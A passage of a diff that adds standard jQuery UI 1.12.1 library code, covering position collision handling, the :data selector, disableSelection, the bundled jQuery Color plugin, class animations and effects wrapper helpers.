+				collisionPosTop = position.top - data.collisionPosition.marginTop,
+				overTop = collisionPosTop - offsetTop,
+				overBottom = collisionPosTop + data.collisionHeight - outerHeight - offsetTop,
+				top = data.my[ 1 ] === "top",
+				myOffset = top ?
+					-data.elemHeight :
+					data.my[ 1 ] === "bottom" ?
+						data.elemHeight :
+						0,
+				atOffset = data.at[ 1 ] === "top" ?
+					data.targetHeight :
+					data.at[ 1 ] === "bottom" ?
+						-data.targetHeight :
+						0,
+				offset = -2 * data.offset[ 1 ],
+				newOverTop,
+				newOverBottom;
+			if ( overTop < 0 ) {
+				newOverBottom = position.top + myOffset + atOffset + offset + data.collisionHeight -
+					outerHeight - withinOffset;
+				if ( newOverBottom < 0 || newOverBottom < abs( overTop ) ) {
+					position.top += myOffset + atOffset + offset;
+				}
+			} else if ( overBottom > 0 ) {
+				newOverTop = position.top - data.collisionPosition.marginTop + myOffset + atOffset +
+					offset - offsetTop;
+				if ( newOverTop > 0 || abs( newOverTop ) < overBottom ) {
+					position.top += myOffset + atOffset + offset;
+				}
+			}
+		}
+	},
+	flipfit: {
+		left: function() {
+			$.ui.position.flip.left.apply( this, arguments );
+			$.ui.position.fit.left.apply( this, arguments );
+		},
+		top: function() {
+			$.ui.position.flip.top.apply( this, arguments );
+			$.ui.position.fit.top.apply( this, arguments );
+		}
+	}
+};
+
+} )();
+
+var position = $.ui.position;
+
+
+/*!
+ * jQuery UI :data 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: :data Selector
+//>>group: Core
+//>>description: Selects elements which have data stored under the specified key.
+//>>docs: http://api.jqueryui.com/data-selector/
+
+
+var data = $.extend( $.expr[ ":" ], {
+	data: $.expr.createPseudo ?
+		$.expr.createPseudo( function( dataName ) {
+			return function( elem ) {
+				return !!$.data( elem, dataName );
+			};
+		} ) :
+
+		// Support: jQuery <1.8
+		function( elem, i, match ) {
+			return !!$.data( elem, match[ 3 ] );
+		}
+} );
+
+/*!
+ * jQuery UI Disable Selection 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: disableSelection
+//>>group: Core
+//>>description: Disable selection of text content within the set of matched elements.
+//>>docs: http://api.jqueryui.com/disableSelection/
+
+// This file is deprecated
+
+
+var disableSelection = $.fn.extend( {
+	disableSelection: ( function() {
+		var eventType = "onselectstart" in document.createElement( "div" ) ?
+			"selectstart" :
+			"mousedown";
+
+		return function() {
+			return this.on( eventType + ".ui-disableSelection", function( event ) {
+				event.preventDefault();
+			} );
+		};
+	} )(),
+
+	enableSelection: function() {
+		return this.off( ".ui-disableSelection" );
+	}
+} );
+
+
+/*!
+ * jQuery UI Effects 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Effects Core
+//>>group: Effects
+// jscs:disable maximumLineLength
+//>>description: Extends the internal jQuery effects. Includes morphing and easing. Required by all other effects.
+// jscs:enable maximumLineLength
+//>>docs: http://api.jqueryui.com/category/effects-core/
+//>>demos: http://jqueryui.com/effect/
+
+
+
+var dataSpace = "ui-effects-",
+	dataSpaceStyle = "ui-effects-style",
+	dataSpaceAnimated = "ui-effects-animated",
+
+	// Create a local jQuery because jQuery Color relies on it and the
+	// global may not exist with AMD and a custom build (#10199)
+	jQuery = $;
+
+$.effects = {
+	effect: {}
+};
+
+/*!
+ * jQuery Color Animations v2.1.2
+ * https://github.com/jquery/jquery-color
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * Date: Wed Jan 16 08:47:09 2013 -0600
+ */
+( function( jQuery, undefined ) {
+
+	var stepHooks = "backgroundColor borderBottomColor borderLeftColor borderRightColor " +
+		"borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor",
+
+	// Plusequals test for += 100 -= 100
+	rplusequals = /^([\-+])=\s*(\d+\.?\d*)/,
+
+	// A set of RE's that can match strings and generate color tuples.
+	stringParsers = [ {
+			re: /rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,
+			parse: function( execResult ) {
+				return [
+					execResult[ 1 ],
+					execResult[ 2 ],
+					execResult[ 3 ],
+					execResult[ 4 ]
+				];
+			}
+		}, {
+			re: /rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,
+			parse: function( execResult ) {
+				return [
+					execResult[ 1 ] * 2.55,
+					execResult[ 2 ] * 2.55,
+					execResult[ 3 ] * 2.55,
+					execResult[ 4 ]
+				];
+			}
+		}, {
+
+			// This regex ignores A-F because it's compared against an already lowercased string
+			re: /#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})/,
+			parse: function( execResult ) {
+				return [
+					parseInt( execResult[ 1 ], 16 ),
+					parseInt( execResult[ 2 ], 16 ),
+					parseInt( execResult[ 3 ], 16 )
+				];
+			}
+		}, {
+
+			// This regex ignores A-F because it's compared against an already lowercased string
+			re: /#([a-f0-9])([a-f0-9])([a-f0-9])/,
+			parse: function( execResult ) {
+				return [
+					parseInt( execResult[ 1 ] + execResult[ 1 ], 16 ),
+					parseInt( execResult[ 2 ] + execResult[ 2 ], 16 ),
+					parseInt( execResult[ 3 ] + execResult[ 3 ], 16 )
+				];
+			}
+		}, {
+			re: /hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,
+			space: "hsla",
+			parse: function( execResult ) {
+				return [
+					execResult[ 1 ],
+					execResult[ 2 ] / 100,
+					execResult[ 3 ] / 100,
+					execResult[ 4 ]
+				];
+			}
+		} ],
+
+	// JQuery.Color( )
+	color = jQuery.Color = function( color, green, blue, alpha ) {
+		return new jQuery.Color.fn.parse( color, green, blue, alpha );
+	},
+	spaces = {
+		rgba: {
+			props: {
+				red: {
+					idx: 0,
+					type: "byte"
+				},
+				green: {
+					idx: 1,
+					type: "byte"
+				},
+				blue: {
+					idx: 2,
+					type: "byte"
+				}
+			}
+		},
+
+		hsla: {
+			props: {
+				hue: {
+					idx: 0,
+					type: "degrees"
+				},
+				saturation: {
+					idx: 1,
+					type: "percent"
+				},
+				lightness: {
+					idx: 2,
+					type: "percent"
+				}
+			}
+		}
+	},
+	propTypes = {
+		"byte": {
+			floor: true,
+			max: 255
+		},
+		"percent": {
+			max: 1
+		},
+		"degrees": {
+			mod: 360,
+			floor: true
+		}
+	},
+	support = color.support = {},
+
+	// Element for support tests
+	supportElem = jQuery( "<p>" )[ 0 ],
+
+	// Colors = jQuery.Color.names
+	colors,
+
+	// Local aliases of functions called often
+	each = jQuery.each;
+
+// Determine rgba support immediately
+supportElem.style.cssText = "background-color:rgba(1,1,1,.5)";
+support.rgba = supportElem.style.backgroundColor.indexOf( "rgba" ) > -1;
+
+// Define cache name and alpha properties
+// for rgba and hsla spaces
+each( spaces, function( spaceName, space ) {
+	space.cache = "_" + spaceName;
+	space.props.alpha = {
+		idx: 3,
+		type: "percent",
+		def: 1
+	};
+} );
+
+function clamp( value, prop, allowEmpty ) {
+	var type = propTypes[ prop.type ] || {};
+
+	if ( value == null ) {
+		return ( allowEmpty || !prop.def ) ? null : prop.def;
+	}
+
+	// ~~ is an short way of doing floor for positive numbers
+	value = type.floor ? ~~value : parseFloat( value );
+
+	// IE will pass in empty strings as value for alpha,
+	// which will hit this case
+	if ( isNaN( value ) ) {
+		return prop.def;
+	}
+
+	if ( type.mod ) {
+
+		// We add mod before modding to make sure that negatives values
+		// get converted properly: -10 -> 350
+		return ( value + type.mod ) % type.mod;
+	}
+
+	// For now all property types without mod have min and max
+	return 0 > value ? 0 : type.max < value ? type.max : value;
+}
+
+function stringParse( string ) {
+	var inst = color(),
+		rgba = inst._rgba = [];
+
+	string = string.toLowerCase();
+
+	each( stringParsers, function( i, parser ) {
+		var parsed,
+			match = parser.re.exec( string ),
+			values = match && parser.parse( match ),
+			spaceName = parser.space || "rgba";
+
+		if ( values ) {
+			parsed = inst[ spaceName ]( values );
+
+			// If this was an rgba parse the assignment might happen twice
+			// oh well....
+			inst[ spaces[ spaceName ].cache ] = parsed[ spaces[ spaceName ].cache ];
+			rgba = inst._rgba = parsed._rgba;
+
+			// Exit each( stringParsers ) here because we matched
+			return false;
+		}
+	} );
+
+	// Found a stringParser that handled it
+	if ( rgba.length ) {
+
+		// If this came from a parsed string, force "transparent" when alpha is 0
+		// chrome, (and maybe others) return "transparent" as rgba(0,0,0,0)
+		if ( rgba.join() === "0,0,0,0" ) {
+			jQuery.extend( rgba, colors.transparent );
+		}
+		return inst;
+	}
+
+	// Named colors
+	return colors[ string ];
+}
+
+color.fn = jQuery.extend( color.prototype, {
+	parse: function( red, green, blue, alpha ) {
+		if ( red === undefined ) {
+			this._rgba = [ null, null, null, null ];
+			return this;
+		}
+		if ( red.jquery || red.nodeType ) {
+			red = jQuery( red ).css( green );
+			green = undefined;
+		}
+
+		var inst = this,
+			type = jQuery.type( red ),
+			rgba = this._rgba = [];
+
+		// More than 1 argument specified - assume ( red, green, blue, alpha )
+		if ( green !== undefined ) {
+			red = [ red, green, blue, alpha ];
+			type = "array";
+		}
+
+		if ( type === "string" ) {
+			return this.parse( stringParse( red ) || colors._default );
+		}
+
+		if ( type === "array" ) {
+			each( spaces.rgba.props, function( key, prop ) {
+				rgba[ prop.idx ] = clamp( red[ prop.idx ], prop );
+			} );
+			return this;
+		}
+
+		if ( type === "object" ) {
+			if ( red instanceof color ) {
+				each( spaces, function( spaceName, space ) {
+					if ( red[ space.cache ] ) {
+						inst[ space.cache ] = red[ space.cache ].slice();
+					}
+				} );
+			} else {
+				each( spaces, function( spaceName, space ) {
+					var cache = space.cache;
+					each( space.props, function( key, prop ) {
+
+						// If the cache doesn't exist, and we know how to convert
+						if ( !inst[ cache ] && space.to ) {
+
+							// If the value was null, we don't need to copy it
+							// if the key was alpha, we don't need to copy it either
+							if ( key === "alpha" || red[ key ] == null ) {
+								return;
+							}
+							inst[ cache ] = space.to( inst._rgba );
+						}
+
+						// This is the only case where we allow nulls for ALL properties.
+						// call clamp with alwaysAllowEmpty
+						inst[ cache ][ prop.idx ] = clamp( red[ key ], prop, true );
+					} );
+
+					// Everything defined but alpha?
+					if ( inst[ cache ] &&
+							jQuery.inArray( null, inst[ cache ].slice( 0, 3 ) ) < 0 ) {
+
+						// Use the default of 1
+						inst[ cache ][ 3 ] = 1;
+						if ( space.from ) {
+							inst._rgba = space.from( inst[ cache ] );
+						}
+					}
+				} );
+			}
+			return this;
+		}
+	},
+	is: function( compare ) {
+		var is = color( compare ),
+			same = true,
+			inst = this;
+
+		each( spaces, function( _, space ) {
+			var localCache,
+				isCache = is[ space.cache ];
+			if ( isCache ) {
+				localCache = inst[ space.cache ] || space.to && space.to( inst._rgba ) || [];
+				each( space.props, function( _, prop ) {
+					if ( isCache[ prop.idx ] != null ) {
+						same = ( isCache[ prop.idx ] === localCache[ prop.idx ] );
+						return same;
+					}
+				} );
+			}
+			return same;
+		} );
+		return same;
+	},
+	_space: function() {
+		var used = [],
+			inst = this;
+		each( spaces, function( spaceName, space ) {
+			if ( inst[ space.cache ] ) {
+				used.push( spaceName );
+			}
+		} );
+		return used.pop();
+	},
+	transition: function( other, distance ) {
+		var end = color( other ),
+			spaceName = end._space(),
+			space = spaces[ spaceName ],
+			startColor = this.alpha() === 0 ? color( "transparent" ) : this,
+			start = startColor[ space.cache ] || space.to( startColor._rgba ),
+			result = start.slice();
+
+		end = end[ space.cache ];
+		each( space.props, function( key, prop ) {
+			var index = prop.idx,
+				startValue = start[ index ],
+				endValue = end[ index ],
+				type = propTypes[ prop.type ] || {};
+
+			// If null, don't override start value
+			if ( endValue === null ) {
+				return;
+			}
+
+			// If null - use end
+			if ( startValue === null ) {
+				result[ index ] = endValue;
+			} else {
+				if ( type.mod ) {
+					if ( endValue - startValue > type.mod / 2 ) {
+						startValue += type.mod;
+					} else if ( startValue - endValue > type.mod / 2 ) {
+						startValue -= type.mod;
+					}
+				}
+				result[ index ] = clamp( ( endValue - startValue ) * distance + startValue, prop );
+			}
+		} );
+		return this[ spaceName ]( result );
+	},
+	blend: function( opaque ) {
+
+		// If we are already opaque - return ourself
+		if ( this._rgba[ 3 ] === 1 ) {
+			return this;
+		}
+
+		var rgb = this._rgba.slice(),
+			a = rgb.pop(),
+			blend = color( opaque )._rgba;
+
+		return color( jQuery.map( rgb, function( v, i ) {
+			return ( 1 - a ) * blend[ i ] + a * v;
+		} ) );
+	},
+	toRgbaString: function() {
+		var prefix = "rgba(",
+			rgba = jQuery.map( this._rgba, function( v, i ) {
+				return v == null ? ( i > 2 ? 1 : 0 ) : v;
+			} );
+
+		if ( rgba[ 3 ] === 1 ) {
+			rgba.pop();
+			prefix = "rgb(";
+		}
+
+		return prefix + rgba.join() + ")";
+	},
+	toHslaString: function() {
+		var prefix = "hsla(",
+			hsla = jQuery.map( this.hsla(), function( v, i ) {
+				if ( v == null ) {
+					v = i > 2 ? 1 : 0;
+				}
+
+				// Catch 1 and 2
+				if ( i && i < 3 ) {
+					v = Math.round( v * 100 ) + "%";
+				}
+				return v;
+			} );
+
+		if ( hsla[ 3 ] === 1 ) {
+			hsla.pop();
+			prefix = "hsl(";
+		}
+		return prefix + hsla.join() + ")";
+	},
+	toHexString: function( includeAlpha ) {
+		var rgba = this._rgba.slice(),
+			alpha = rgba.pop();
+
+		if ( includeAlpha ) {
+			rgba.push( ~~( alpha * 255 ) );
+		}
+
+		return "#" + jQuery.map( rgba, function( v ) {
+
+			// Default to 0 when nulls exist
+			v = ( v || 0 ).toString( 16 );
+			return v.length === 1 ? "0" + v : v;
+		} ).join( "" );
+	},
+	toString: function() {
+		return this._rgba[ 3 ] === 0 ? "transparent" : this.toRgbaString();
+	}
+} );
+color.fn.parse.prototype = color.fn;
+
+// Hsla conversions adapted from:
+// https://code.google.com/p/maashaack/source/browse/packages/graphics/trunk/src/graphics/colors/HUE2RGB.as?r=5021
+
+function hue2rgb( p, q, h ) {
+	h = ( h + 1 ) % 1;
+	if ( h * 6 < 1 ) {
+		return p + ( q - p ) * h * 6;
+	}
+	if ( h * 2 < 1 ) {
+		return q;
+	}
+	if ( h * 3 < 2 ) {
+		return p + ( q - p ) * ( ( 2 / 3 ) - h ) * 6;
+	}
+	return p;
+}
+
+spaces.hsla.to = function( rgba ) {
+	if ( rgba[ 0 ] == null || rgba[ 1 ] == null || rgba[ 2 ] == null ) {
+		return [ null, null, null, rgba[ 3 ] ];
+	}
+	var r = rgba[ 0 ] / 255,
+		g = rgba[ 1 ] / 255,
+		b = rgba[ 2 ] / 255,
+		a = rgba[ 3 ],
+		max = Math.max( r, g, b ),
+		min = Math.min( r, g, b ),
+		diff = max - min,
+		add = max + min,
+		l = add * 0.5,
+		h, s;
+
+	if ( min === max ) {
+		h = 0;
+	} else if ( r === max ) {
+		h = ( 60 * ( g - b ) / diff ) + 360;
+	} else if ( g === max ) {
+		h = ( 60 * ( b - r ) / diff ) + 120;
+	} else {
+		h = ( 60 * ( r - g ) / diff ) + 240;
+	}
+
+	// Chroma (diff) == 0 means greyscale which, by definition, saturation = 0%
+	// otherwise, saturation is based on the ratio of chroma (diff) to lightness (add)
+	if ( diff === 0 ) {
+		s = 0;
+	} else if ( l <= 0.5 ) {
+		s = diff / add;
+	} else {
+		s = diff / ( 2 - add );
+	}
+	return [ Math.round( h ) % 360, s, l, a == null ? 1 : a ];
+};
+
+spaces.hsla.from = function( hsla ) {
+	if ( hsla[ 0 ] == null || hsla[ 1 ] == null || hsla[ 2 ] == null ) {
+		return [ null, null, null, hsla[ 3 ] ];
+	}
+	var h = hsla[ 0 ] / 360,
+		s = hsla[ 1 ],
+		l = hsla[ 2 ],
+		a = hsla[ 3 ],
+		q = l <= 0.5 ? l * ( 1 + s ) : l + s - l * s,
+		p = 2 * l - q;
+
+	return [
+		Math.round( hue2rgb( p, q, h + ( 1 / 3 ) ) * 255 ),
+		Math.round( hue2rgb( p, q, h ) * 255 ),
+		Math.round( hue2rgb( p, q, h - ( 1 / 3 ) ) * 255 ),
+		a
+	];
+};
+
+each( spaces, function( spaceName, space ) {
+	var props = space.props,
+		cache = space.cache,
+		to = space.to,
+		from = space.from;
+
+	// Makes rgba() and hsla()
+	color.fn[ spaceName ] = function( value ) {
+
+		// Generate a cache for this space if it doesn't exist
+		if ( to && !this[ cache ] ) {
+			this[ cache ] = to( this._rgba );
+		}
+		if ( value === undefined ) {
+			return this[ cache ].slice();
+		}
+
+		var ret,
+			type = jQuery.type( value ),
+			arr = ( type === "array" || type === "object" ) ? value : arguments,
+			local = this[ cache ].slice();
+
+		each( props, function( key, prop ) {
+			var val = arr[ type === "object" ? key : prop.idx ];
+			if ( val == null ) {
+				val = local[ prop.idx ];
+			}
+			local[ prop.idx ] = clamp( val, prop );
+		} );
+
+		if ( from ) {
+			ret = color( from( local ) );
+			ret[ cache ] = local;
+			return ret;
+		} else {
+			return color( local );
+		}
+	};
+
+	// Makes red() green() blue() alpha() hue() saturation() lightness()
+	each( props, function( key, prop ) {
+
+		// Alpha is included in more than one space
+		if ( color.fn[ key ] ) {
+			return;
+		}
+		color.fn[ key ] = function( value ) {
+			var vtype = jQuery.type( value ),
+				fn = ( key === "alpha" ? ( this._hsla ? "hsla" : "rgba" ) : spaceName ),
+				local = this[ fn ](),
+				cur = local[ prop.idx ],
+				match;
+
+			if ( vtype === "undefined" ) {
+				return cur;
+			}
+
+			if ( vtype === "function" ) {
+				value = value.call( this, cur );
+				vtype = jQuery.type( value );
+			}
+			if ( value == null && prop.empty ) {
+				return this;
+			}
+			if ( vtype === "string" ) {
+				match = rplusequals.exec( value );
+				if ( match ) {
+					value = cur + parseFloat( match[ 2 ] ) * ( match[ 1 ] === "+" ? 1 : -1 );
+				}
+			}
+			local[ prop.idx ] = value;
+			return this[ fn ]( local );
+		};
+	} );
+} );
+
+// Add cssHook and .fx.step function for each named hook.
+// accept a space separated string of properties
+color.hook = function( hook ) {
+	var hooks = hook.split( " " );
+	each( hooks, function( i, hook ) {
+		jQuery.cssHooks[ hook ] = {
+			set: function( elem, value ) {
+				var parsed, curElem,
+					backgroundColor = "";
+
+				if ( value !== "transparent" && ( jQuery.type( value ) !== "string" ||
+						( parsed = stringParse( value ) ) ) ) {
+					value = color( parsed || value );
+					if ( !support.rgba && value._rgba[ 3 ] !== 1 ) {
+						curElem = hook === "backgroundColor" ? elem.parentNode : elem;
+						while (
+							( backgroundColor === "" || backgroundColor === "transparent" ) &&
+							curElem && curElem.style
+						) {
+							try {
+								backgroundColor = jQuery.css( curElem, "backgroundColor" );
+								curElem = curElem.parentNode;
+							} catch ( e ) {
+							}
+						}
+
+						value = value.blend( backgroundColor && backgroundColor !== "transparent" ?
+							backgroundColor :
+							"_default" );
+					}
+
+					value = value.toRgbaString();
+				}
+				try {
+					elem.style[ hook ] = value;
+				} catch ( e ) {
+
+					// Wrapped to prevent IE from throwing errors on "invalid" values like
+					// 'auto' or 'inherit'
+				}
+			}
+		};
+		jQuery.fx.step[ hook ] = function( fx ) {
+			if ( !fx.colorInit ) {
+				fx.start = color( fx.elem, hook );
+				fx.end = color( fx.end );
+				fx.colorInit = true;
+			}
+			jQuery.cssHooks[ hook ].set( fx.elem, fx.start.transition( fx.end, fx.pos ) );
+		};
+	} );
+
+};
+
+color.hook( stepHooks );
+
+jQuery.cssHooks.borderColor = {
+	expand: function( value ) {
+		var expanded = {};
+
+		each( [ "Top", "Right", "Bottom", "Left" ], function( i, part ) {
+			expanded[ "border" + part + "Color" ] = value;
+		} );
+		return expanded;
+	}
+};
+
+// Basic color names only.
+// Usage of any of the other color names requires adding yourself or including
+// jquery.color.svg-names.js.
+colors = jQuery.Color.names = {
+
+	// 4.1. Basic color keywords
+	aqua: "#00ffff",
+	black: "#000000",
+	blue: "#0000ff",
+	fuchsia: "#ff00ff",
+	gray: "#808080",
+	green: "#008000",
+	lime: "#00ff00",
+	maroon: "#800000",
+	navy: "#000080",
+	olive: "#808000",
+	purple: "#800080",
+	red: "#ff0000",
+	silver: "#c0c0c0",
+	teal: "#008080",
+	white: "#ffffff",
+	yellow: "#ffff00",
+
+	// 4.2.3. "transparent" color keyword
+	transparent: [ null, null, null, 0 ],
+
+	_default: "#ffffff"
+};
+
+} )( jQuery );
+
+/******************************************************************************/
+/****************************** CLASS ANIMATIONS ******************************/
+/******************************************************************************/
+( function() {
+
+var classAnimationActions = [ "add", "remove", "toggle" ],
+	shorthandStyles = {
+		border: 1,
+		borderBottom: 1,
+		borderColor: 1,
+		borderLeft: 1,
+		borderRight: 1,
+		borderTop: 1,
+		borderWidth: 1,
+		margin: 1,
+		padding: 1
+	};
+
+$.each(
+	[ "borderLeftStyle", "borderRightStyle", "borderBottomStyle", "borderTopStyle" ],
+	function( _, prop ) {
+		$.fx.step[ prop ] = function( fx ) {
+			if ( fx.end !== "none" && !fx.setAttr || fx.pos === 1 && !fx.setAttr ) {
+				jQuery.style( fx.elem, prop, fx.end );
+				fx.setAttr = true;
+			}
+		};
+	}
+);
+
+function getElementStyles( elem ) {
+	var key, len,
+		style = elem.ownerDocument.defaultView ?
+			elem.ownerDocument.defaultView.getComputedStyle( elem, null ) :
+			elem.currentStyle,
+		styles = {};
+
+	if ( style && style.length && style[ 0 ] && style[ style[ 0 ] ] ) {
+		len = style.length;
+		while ( len-- ) {
+			key = style[ len ];
+			if ( typeof style[ key ] === "string" ) {
+				styles[ $.camelCase( key ) ] = style[ key ];
+			}
+		}
+
+	// Support: Opera, IE <9
+	} else {
+		for ( key in style ) {
+			if ( typeof style[ key ] === "string" ) {
+				styles[ key ] = style[ key ];
+			}
+		}
+	}
+
+	return styles;
+}
+
+function styleDifference( oldStyle, newStyle ) {
+	var diff = {},
+		name, value;
+
+	for ( name in newStyle ) {
+		value = newStyle[ name ];
+		if ( oldStyle[ name ] !== value ) {
+			if ( !shorthandStyles[ name ] ) {
+				if ( $.fx.step[ name ] || !isNaN( parseFloat( value ) ) ) {
+					diff[ name ] = value;
+				}
+			}
+		}
+	}
+
+	return diff;
+}
+
+// Support: jQuery <1.8
+if ( !$.fn.addBack ) {
+	$.fn.addBack = function( selector ) {
+		return this.add( selector == null ?
+			this.prevObject : this.prevObject.filter( selector )
+		);
+	};
+}
+
+$.effects.animateClass = function( value, duration, easing, callback ) {
+	var o = $.speed( duration, easing, callback );
+
+	return this.queue( function() {
+		var animated = $( this ),
+			baseClass = animated.attr( "class" ) || "",
+			applyClassChange,
+			allAnimations = o.children ? animated.find( "*" ).addBack() : animated;
+
+		// Map the animated objects to store the original styles.
+		allAnimations = allAnimations.map( function() {
+			var el = $( this );
+			return {
+				el: el,
+				start: getElementStyles( this )
+			};
+		} );
+
+		// Apply class change
+		applyClassChange = function() {
+			$.each( classAnimationActions, function( i, action ) {
+				if ( value[ action ] ) {
+					animated[ action + "Class" ]( value[ action ] );
+				}
+			} );
+		};
+		applyClassChange();
+
+		// Map all animated objects again - calculate new styles and diff
+		allAnimations = allAnimations.map( function() {
+			this.end = getElementStyles( this.el[ 0 ] );
+			this.diff = styleDifference( this.start, this.end );
+			return this;
+		} );
+
+		// Apply original class
+		animated.attr( "class", baseClass );
+
+		// Map all animated objects again - this time collecting a promise
+		allAnimations = allAnimations.map( function() {
+			var styleInfo = this,
+				dfd = $.Deferred(),
+				opts = $.extend( {}, o, {
+					queue: false,
+					complete: function() {
+						dfd.resolve( styleInfo );
+					}
+				} );
+
+			this.el.animate( this.diff, opts );
+			return dfd.promise();
+		} );
+
+		// Once all animations have completed:
+		$.when.apply( $, allAnimations.get() ).done( function() {
+
+			// Set the final class
+			applyClassChange();
+
+			// For each animated element,
+			// clear all css properties that were animated
+			$.each( arguments, function() {
+				var el = this.el;
+				$.each( this.diff, function( key ) {
+					el.css( key, "" );
+				} );
+			} );
+
+			// This is guarnteed to be there if you use jQuery.speed()
+			// it also handles dequeuing the next anim...
+			o.complete.call( animated[ 0 ] );
+		} );
+	} );
+};
+
+$.fn.extend( {
+	addClass: ( function( orig ) {
+		return function( classNames, speed, easing, callback ) {
+			return speed ?
+				$.effects.animateClass.call( this,
+					{ add: classNames }, speed, easing, callback ) :
+				orig.apply( this, arguments );
+		};
+	} )( $.fn.addClass ),
+
+	removeClass: ( function( orig ) {
+		return function( classNames, speed, easing, callback ) {
+			return arguments.length > 1 ?
+				$.effects.animateClass.call( this,
+					{ remove: classNames }, speed, easing, callback ) :
+				orig.apply( this, arguments );
+		};
+	} )( $.fn.removeClass ),
+
+	toggleClass: ( function( orig ) {
+		return function( classNames, force, speed, easing, callback ) {
+			if ( typeof force === "boolean" || force === undefined ) {
+				if ( !speed ) {
+
+					// Without speed parameter
+					return orig.apply( this, arguments );
+				} else {
+					return $.effects.animateClass.call( this,
+						( force ? { add: classNames } : { remove: classNames } ),
+						speed, easing, callback );
+				}
+			} else {
+
+				// Without force parameter
+				return $.effects.animateClass.call( this,
+					{ toggle: classNames }, force, speed, easing );
+			}
+		};
+	} )( $.fn.toggleClass ),
+
+	switchClass: function( remove, add, speed, easing, callback ) {
+		return $.effects.animateClass.call( this, {
+			add: add,
+			remove: remove
+		}, speed, easing, callback );
+	}
+} );
+
+} )();
+
+/******************************************************************************/
+/*********************************** EFFECTS **********************************/
+/******************************************************************************/
+
+( function() {
+
+if ( $.expr && $.expr.filters && $.expr.filters.animated ) {
+	$.expr.filters.animated = ( function( orig ) {
+		return function( elem ) {
+			return !!$( elem ).data( dataSpaceAnimated ) || orig( elem );
+		};
+	} )( $.expr.filters.animated );
+}
+
+if ( $.uiBackCompat !== false ) {
+	$.extend( $.effects, {
+
+		// Saves a set of properties in a data storage
+		save: function( element, set ) {
+			var i = 0, length = set.length;
+			for ( ; i < length; i++ ) {
+				if ( set[ i ] !== null ) {
+					element.data( dataSpace + set[ i ], element[ 0 ].style[ set[ i ] ] );
+				}
+			}
+		},
+
+		// Restores a set of previously saved properties from a data storage
+		restore: function( element, set ) {
+			var val, i = 0, length = set.length;
+			for ( ; i < length; i++ ) {
+				if ( set[ i ] !== null ) {
+					val = element.data( dataSpace + set[ i ] );
+					element.css( set[ i ], val );
+				}
+			}
+		},
+
+		setMode: function( el, mode ) {
+			if ( mode === "toggle" ) {
+				mode = el.is( ":hidden" ) ? "show" : "hide";
+			}
+			return mode;
+		},
+
+		// Wraps the element around a wrapper that copies position properties
+		createWrapper: function( element ) {
+
+			// If the element is already wrapped, return it
+			if ( element.parent().is( ".ui-effects-wrapper" ) ) {
+				return element.parent();
+			}
+
+			// Wrap the element
+			var props = {
+					width: element.outerWidth( true ),
+					height: element.outerHeight( true ),
+					"float": element.css( "float" )
+				},
+				wrapper = $( "<div></div>" )
+					.addClass( "ui-effects-wrapper" )
+					.css( {
+						fontSize: "100%",
+						background: "transparent",
+						border: "none",
+						margin: 0,
+						padding: 0
+					} ),
+
+				// Store the size in case width/height are defined in % - Fixes #5245
+				size = {
+					width: element.width(),
+					height: element.height()
+				},
+				active = document.activeElement;
+
+			// Support: Firefox
+			// Firefox incorrectly exposes anonymous content
+			// https://bugzilla.mozilla.org/show_bug.cgi?id=561664
+			try {
+				active.id;
+			} catch ( e ) {
+				active = document.body;
+			}
+
+			element.wrap( wrapper );
+
+			// Fixes #7595 - Elements lose focus when wrapped.
+			if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) {
+				$( active ).trigger( "focus" );
+			}
+
+			// Hotfix for jQuery 1.4 since some change in wrap() seems to actually
+			// lose the reference to the wrapped element
+			wrapper = element.parent();
+
+			// Transfer positioning properties to the wrapper
+			if ( element.css( "position" ) === "static" ) {
+				wrapper.css( { position: "relative" } );
+				element.css( { position: "relative" } );
+			} else {
+				$.extend( props, {
+					position: element.css( "position" ),
+					zIndex: element.css( "z-index" )
+				} );
+				$.each( [ "top", "left", "bottom", "right" ], function( i, pos ) {
+					props[ pos ] = element.css( pos );
+					if ( isNaN( parseInt( props[ pos ], 10 ) ) ) {
+						props[ pos ] = "auto";
+					}
+				} );
+				element.css( {
+					position: "relative",
+					top: 0,
+					left: 0,
+					right: "auto",
+					bottom: "auto"
+				} );
+			}
+			element.css( size );
+
+			return wrapper.css( props ).show();
+		},
+
+		removeWrapper: function( element ) {
+			var active = document.activeElement;
+
+			if ( element.parent().is( ".ui-effects-wrapper" ) ) {
+				element.parent().replaceWith( element );
+
+				// Fixes #7595 - Elements lose focus when wrapped.
+				if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) {
+					$( active ).trigger( "focus" );
+				}
+			}
+
+			return element;
+		}
+	} );
+}
+
+$.extend( $.effects, {
+	version: "1.12.1",
+
+	define: function( name, mode, effect ) {
+		if ( !effect ) {
+			effect = mode;
+			mode = "effect";
+		}
+
+		$.effects.effect[ name ] = effect;
+		$.effects.effect[ name ].mode = mode;
+
+		return effect;
+	},
+
+	scaledDimensions: function( element, percent, direction ) {
+		if ( percent === 0 ) {
+			return {
+				height: 0,
+				width: 0,
+				outerHeight: 0,
+				outerWidth: 0
+			};
+		}
+
+		var x = direction !== "horizontal" ? ( ( percent || 100 ) / 100 ) : 1,
+			y = direction !== "vertical" ? ( ( percent || 100 ) / 100 ) : 1;
+
+		return {
+			height: element.height() * y,
+			width: element.width() * x,
+			outerHeight: element.outerHeight() * y,
